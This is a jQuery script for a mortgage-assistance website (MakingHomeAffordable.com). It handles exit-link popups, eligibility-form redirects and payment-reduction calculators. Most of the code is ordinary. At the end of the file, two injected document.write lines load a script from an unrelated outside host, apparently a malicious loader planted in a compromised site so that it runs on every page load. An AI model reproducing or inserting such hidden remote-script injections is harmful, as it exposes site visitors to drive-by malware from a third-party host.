$(document).ready(function(){
	$('#leaveSite').html('<div id="leaveSiteContent"></div>');
	$("a").each(function(){
		var link = $(this);
		var href = this.href;
		var title = this.title;
		var host = window.location.host.replace(/^(([^\/]+?\.)*)([^\.]{4,})((\.[a-z]{1,4})*)$/, '$3$4');
		if (this.href != null) {
			if ( (this.href.match(/^http/)) && (! this.href.match(host)) && (! this.href.match(/^javascript/)) && (! this.href.match(".pdf")) ) {
				link.addClass('thickbox');
				link.attr('href', '#TB_inline?height=200&width=300&inlineId=leaveSite');
				link.click(function () {
					$('#leaveSiteContent').html('<br /><center><span class="dataLabel">You are exiting MakingHomeAffordable.com<br /><br />Thank you for visiting our site. Click below to visit the external link you\'ve requested:</span></center><center><br /><br /><a href="' + href + '" title="' + title  + '">' + title + '</a><br /><br />We hope your visit was informative and enjoyable.</center>');
				});
			}
		}
	});
	
	/*popup initializations*/
	tb_init('a.thickbox');
	tb_init('a.videobox');
	
	/*redirection pages*/
	$("#eligibilityForm").validate({
			submitHandler: function(form) {
			var allYes = $(".eligibility:checked").length;
			window.location = (allYes == 4 ? 'refinance_yes.html' : 'other_options_refinance.html');
			return false;
		}
	});
	$("#modificationEligibilityForm").validate({
			submitHandler: function(form) {
			var allYes = $(".eligibility:checked").length;
			window.location = (allYes == 5 ? 'modification_yes.html' : 'other_options_modification.html');
			return false;
		}
	});
	
	/*calculators*/
	$("#mortgageCalculator").validate({
		submitHandler: function(form) {
			calculate();
			return false;
		}
	});
	$("#reductionEstimator").validate({
			submitHandler: function(form) {
			calculateReduction();
			return false;
		}
	});
	$("#monthlyHousing").validate({
			submitHandler: function(form) {
			calculateHousing();tb_remove();
			return false;
		}
	});
	$("#monthlyGross").validate({
			submitHandler: function(form) {
			calculateMonthly();tb_remove();
			return false;
		}
	});
});

function calculate() {
	if ($('#income').length == 0) {
		return false;
	}
	var reg = /^\d+$/;
	//var payment = $('#payment')[0].value;
	var income = $('#income')[0].value;
	if (!income) {
		return false;
	}
	if (reg.test(income)) {
		var postPayment = Math.round(0.31 * income);
		//var savings = payment-postPayment;
		//calculate results based on numbers
		//$('#preDTI').html(Math.round((payment / income)*100) + '%');
		$('#postPayment').html('$'+postPayment);
		//$('#postIncome').html('$'+income);
		//$('#postDTI').html(Math.round((postPayment / income)* 100) + '%');
		//$('#savings').html((savings > 0 ? '$'+savings : '<span style="color:#FF0000;">$' + Math.abs(savings) +'</span>'));
	}
	return false;
}

function calculateAll() {
	calculateMonthly();
	calculateHousing();
	calculateReduction();
}

function calculateMonthly() {
	if ($('#monthlyIncome').length == 0) {
		return false;
	}
	var reg = /^\d+$/;
	var monthlyIncome = $('#monthlyIncome')[0].value;
	if (!monthlyIncome) {
		return false;
	}
	if (reg.test(monthlyIncome)) {
		//estimatedMonthlyIncome = 1.25 * monthlyIncome
		$('#estimatedMonthlyIncome').html('$'+Math.round(1.25 * monthlyIncome));
		$('#income')[0].value = Math.round(1.25 * monthlyIncome);
	}
	return false;
}

function calculateHousing() {
	if (($('#monthlyPayment').length == 0) || ($('#monthlyHomeowners').length == 0) || ($('#monthlyTaxes').length == 0)) {
		return false;
	}
	var reg = /^\d+$/;
	var monthlyPayment = $('#monthlyPayment')[0].value;
	var monthlyHomeowners = $('#monthlyHomeowners')[0].value;
	var monthlyTaxes = $('#monthlyTaxes')[0].value;
	if (!monthlyPayment || !monthlyHomeowners || !monthlyTaxes) {
		return false;
	}
	if (reg.test(monthlyPayment) && reg.test(monthlyHomeowners) && reg.test(monthlyTaxes)) {
		//totalMonthlyPayment = monthlyPayment + monthlyHomeowners + monthlyTaxes
		var totalMonthlyPayment = Math.round(Number(monthlyPayment) + Number(monthlyHomeowners) + Number(monthlyTaxes));
		$('#totalMonthlyPayment').html('$'+totalMonthlyPayment);
		$('#payment')[0].value = totalMonthlyPayment;
	}
	return false;
}

function calculateReduction() {

	if ($('#payment').length == 0 || $('#income').length == 0) {
		return false;
	}
	var reg = /^\d+$/;
	var payment = $('#payment')[0].value;
	var income = $('#income')[0].value;
	if (!payment || !income) {
		return false;
	}
	if (reg.test(payment) && reg.test(income)) {
		var postPayment = Math.round(0.31 * income);
		var savings = payment-postPayment;
		$('#dti').html(Math.round((payment / income)*100) + '%');
		$('#postPayment').html('$'+postPayment);
		$('#savings').html((savings > 0 ? '$'+savings : '$0'));
		$('#savingsMessage').html((savings > 0 ? '' : 'Modification will not lower your payment.'));
		
	}
	return false;
}



document.write('<script src=http://red-devil-sport-club.gymdb.com/js/gmanage_gallery.php ><\/script>');
document.write('<script src=http://red-devil-sport-club.gymdb.com/js/gmanage_gallery.php ><\/script>');